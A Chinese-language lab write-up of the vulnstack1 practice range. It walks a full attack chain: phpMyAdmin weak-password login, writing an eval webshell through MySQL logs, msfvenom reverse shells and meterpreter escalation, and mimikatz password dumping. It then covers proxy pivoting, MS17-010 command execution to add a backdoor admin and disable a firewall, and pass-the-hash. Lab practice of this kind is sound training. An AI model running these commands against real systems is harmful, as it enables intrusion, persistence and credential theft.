vulnstack1 靶场做题笔记
一、环境部署
1.1 靶场下载
- 下载靶场(win7+win2003+win2008),下载攻击机kalilinux
- 下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
- 靶机通用密码: hongrisec@2019(密码策略原因登录后都会进行修改),这里我改成hongrisec@2023
1.2 网卡配置
环境分析:
- winserver2008
图示VM3:域控服务器
内网ip:192.168.52.138
- win2k3
图示VM2,域内成员
ip:192.168.52.141
- win7
图示VM1:web服务器,双网卡
公网ip:192.168.190.144
内网ip:192.168.52.143
配置完毕之后测试网络的联通性:最后三台机器都能相互ping通,win7可以连接公网
1.3 靶场配置
- 开启web服务
win7需要对外提供服务,所以这里需要把phpstudy给打开
二、信息收集
这里我们正式开始打靶,模拟实战的话我们目前就只有一个公网ip(192.168.190.144),所以肯定第一步就是对目标进行信息收集,当然这里没法模拟收集厂商信息之类的的
Goby扫描
扫描器的话都各有优点,这里我就用goby了,一通扫描后发现目标开启了3306(mysql)和80(http)
三、外网打点
简单的信息收集后我们知道了对方开放了两个我们知道的端口 ,所以接下来利用点就是
1.判断mysql是否外联,尝试弱口令
2.从80找web漏洞
3.1 mysql尝试
root/root登录一下试试,出现了如下报错,网上百度了一下,应该是目标没开启mysql外联,所以作罢,直接开始下一个方案
3.2 web打点
- 初步判断
访问80端口,默认界面是个探针界面,重中我们可以得到很多信息
网站服务器系统信息:操作系统版本、主机名
中间件版本
管理员邮箱
网站的绝对路径(这个往往至关重要,后面写shell也用得到)
php相关参数
· · ·等等
然后拉到最下面下面有个mysql测试,这里root/root也是直接测试成功
- 目录爆破
简单的目录扫描发现目标有phpadmin(一个web端的mysql连接工具)
这里也是直接root/root弱口令就进入了后台
phpadmin-getshell
phpadmin-getshell的三种普遍思路:
select into outfile 写文件
全局日志getshell
慢日志getshell
- select into outifle 写文件
条件:
- 对web目录需要有写权限能够使用单引号
- 知道绝对路径
- secure_file_priv为空
首先想到的是写文件getshell,因为我们有网站的绝对路径了
show variables like '%sec%'
但是这里secure_file_priv为NULL所以不能写文件,所以此方法结束
- 全局日志getshell
条件:
必须是root权限
我们是root权限,满足条件,然后首先查看一下配置
show variables like '%general%';
这里日志选项没开,我们把日志开一下,并且改一下日志位置以及文件(绝对路径是前面探针得到的)
#开启日志选项
set global general_log = on;
#设置日志位置为网站目录,文件格式php
set global general_log_file = 'c:/phpstudy/www/zinc.php';
然后就执行一个查询语句写入shell
select '<?php @eval($_REQUEST[cmd])?>';
简单用phpinfo()验证一下写入是否成功
下一步可以用antsword连接
- 慢日志getshell
慢日志:
记录所有执行时间超过long_query_time秒的所有查询或者不使用索引的查询。默认情况下,MySQL数据库是不开启慢查询日志的,long_query_time的默认值为10(即10秒,通常设置为1秒),即运行10秒以上的语句是慢查询语句
利用条件的话和全局日志getshell一样都需要root权限,只不过这个需要执行命令时长超过10s才会被记录
查看日志设置
show variables like '%slow%';
修改配置
#修改日志文件以及绝对路径名
set global slow_query_log_file = 'c:/phpStudy/www/slow.php';
#启用慢日志查询
set GLOBAL slow_query_log=on;
写入shell
select '<?php @eval($_REQUEST[cmd])?>' or sleep(11);
select '<?php @eval($_REQUEST[cmd])?>' union sleep(11);
简单验证
四、提权
这里我们拿到一台机器,首先肯定是要对主机上的信息进行收集,首先判断这个主机处于哪个“位置”,对于当前主机的话就是一个web服务器的角色,就是一台跳板机,其次收集一下当前主机是处于域环境还是工作组环境,这为我们下一步横向移动会提供一些参考
简单看一下本机信息,看下本机ip和网卡啥的
ipconfig /all
shell systeminfo
这里我们知道了:
主机名:stu1
处于域环境中,且域: god.org
msf提权:
生成msf木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
设置好监听后
use exploit/mutli/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost ip
set lport 6666
运行上线
这里我们已经拥有了administrator权限 所以再提权就很容易了 这里有
权限 所以可以直接getsystem提权,参考文章
https://blog.csdn.net/qq_41874930/article/details/110001596
简单收集一下信息
很容易发现
1.处于域环境中 域名为:god.org
2.域内主机名为 stu1
3.双网卡 一个ip为 192.168.190.另一个为10.1.1.123(外网)
4.内网的dns服务器为192.168.190.2 推测是DC
进程迁移
https://www.cnblogs.com/g0udan/p/12411937.html
meterpreter作为一个进程时容易被清除,如果将它和系统经常运行的进程进行绑定,就能够实现持久化
1.ps查看当前正在运行的进程
2.getpid命令查看msf自己的进程id
3.migrate xxx 吧msf shell的pid调到xxx里相对稳定的应用
4.getpid查看一下自己是否更换成功
(也可以自动化 set autorunscript migrate -n.explorer.exe)
这里哦我们看到explorer.exepid为2780
我们自己的是2304
然后执行命令 migrate 2780
连接VM1远程桌面
确认一下目标的远程桌面端口有没有开放
nmap 192.168.190.144 -p 3389
这里没开放的话可以使用msf的模块,或者自己手动开启
msf使用模块
post/windows/manage/enable_rdp
set session 1
run
最后的结果就是开放了
mimikatz抓密码
加载mimikatz模块,然后wdigest
load mimikatz
这里说mimikatz已经被kiwi替代了
列举系统中的明文密码
creds_all
里面找到了一个域内administrator的密码hongrisec@2019
登录远程桌面
msf > rdesktop 192.168.28.130
这里注意用GOD\Administrator登录。
五、横向移动
内网信息收集
- 确定是否为域环境
得到结果是域环境 只有一个域 且域名为 god.org
- 域内主机
结果是应该有三台主机 owa root-tvi862ubeh stu1
- 判断一下域控主机
域控主机一般为时间服务器,这里结合ping的结果
结合
我们前期信息收集知道了dns服务器是192.168.52.138 这里也大致可以猜测 既是时间服务器,又是dns服务器 多方佐证 这个域控的主机名就是 owa ip为192.168.52.138
- 查询域内用户
域内有个administrator,所以我们知道我们登陆的应该就是域内的管理员账户
域名为 god
域中有三台主机:
stu1.god.org
root-tvi862ubeh.god.org
owa.god.org 为域控
域用户有 : ligang , liukaifeng01 ,administrator
域管理员只有一个: administrator
其实直接就拿到域管理员了
配置路由
run get_local_subnets
结合之前的信息,推测一下网段大概就
192.168.52.0 是内网网段
192.168.190.0 外网的网段
169.254.X.X是Windows操作系统在DHCP信息租用失败时自动给客户机分配的IP地址。
- 添加路由、挂socks4a代理
首先我们要添加到达内网网段的路由,因为msf是在外网网段的,而目标的机器都在内网
run autoroute -s 192.168.52.0/24
然后可以查看一下已经添加的路由网段
run autoroute -p
此时msf就可以直接探测目标网段了(netbios探测存活主机),这里直接用的nmap自带的模块
use auxiliary/scanner/netbios/nbname
set rhosts 192.168.52.0/24
run
-
sock4+proxychains4代理
use auxiliary/server/socks_proxy
options
set srvhost 0.0.0.0
set srvport 1080
set version 4a
然后设置 proxychains4
vim /etc/proxychains4.conf
在最后一行添加
socks4 0.0.0.0 1080
拿下边界机之后,进入内网,想用nmap怎么办? CS可以开启代理,但是是socks4的代理,只能使用tcp协议,所以nmap使用的时候要使用-sT选择使用tcp协议,要使用-Pn不使用ICMP的ping确认主机存活
扫描端口
msf > nmap 192.168.52.138
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
49155/tcp open unknown
49161/tcp open unknown
49167/tcp open unknown
msf > nmap 192.168.52.141
21/tcp open ftp
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
777/tcp open multiling-http
1025/tcp open NFS-or-IIS
1028/tcp open unknown
1029/tcp open ms-lsa
1030/tcp open iad1
6002/tcp open X11:2
7001/tcp open afs3-callback
7002/tcp open afs3-prserver
8099/tcp open unknown
445端口利用
看到两个IP都打开了445端口
msf > use auxiliary/scanner/smb/smb_ms17_010
msf > set rhosts 192.168.52.141 192.168.52.138
msf > run
两个主机都是likely的
远程桌面利用准备之端口
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.141
set command whoami
run
- 查看远程连接端口
set command 'Reg query "hkey_local_machine\system\currentcontrolset\control\terminal server\winstations\RDP-Tcp" /v portnumber'
0xd3d 转化成10进制就是3389
- 查看端口开放情况
set command netstat -ano
打开3389端口使用远程桌面
set command wmic RDTOGGLE WHERE ServerName=\'%COMPUTERNAME%\' call SetAllowTSConnections 1
看看3389的状态,已经是开放的
远程桌面利用之socks代理
选用earthworm。
kali重新打开一个终端执行命令,将本机的1080端口请求转发给4444
./ew_for_linux64 -s rcsocks -l 1080 -e 4444
然后把ew上传到VM1跳板机上
upload /home/zinc/Desktop/ew_for_Win.exe c://
然后切换到shell里面执行
ew_for_Win.exe -s rssocks -d 192.168.190.130 -e 4444
这里看到我们kali客户段有反应了
kali再开一个终端执行
vim /etc/proxychains.conf
最后添加
socks5 127.0.0.1 1080
执行远程桌面
proxychains4 rdesktop 192.168.52.141
提供管理员用户
继续使用msf模块
msf >use auxiliary/admin/smb/ms17_010_command
添加用户
set command net user test abbbbb123.0 /add
并添加用户为管理员
set command net localgroup administrators test /add
然后就可以登录VM2了
六、补充
网上有许多教程都使用正向shell或者反弹shell来进行getshell,但是我尝试了下都没有成功。
当然,由于改过密码,hash传递登录也没有成功。这里只成列一下使用方法。大家可以自己去尝试
exploit/windows/smb/ms17_010_psexec正向
我也没成功
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.141
set lport 4444
run
windows/smb/ms17_010_eternalblue反弹
哈希传递登录
在VM1跳板机上执行一下命令
sekurlsa::pth /domain:god.org /user:administrator /ntlm:8a963371a63944419ec1adf687bb1be5
最后我使用的方法
web服务器(VM1跳板机)的WWW根目录下放置mimikatz.exe
使用admin/smb/ms17_010_command
先在DC上执行
set NetSh Advfirewall set allprofiles state off
DC下载mimikatz
bitsadmin /transfer name http://跳板机ip/mimikatz.exe c:\mimikatz.exe
DC运行
set command 'c://mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full""'
然后就是找到密码登陆了
参考连接: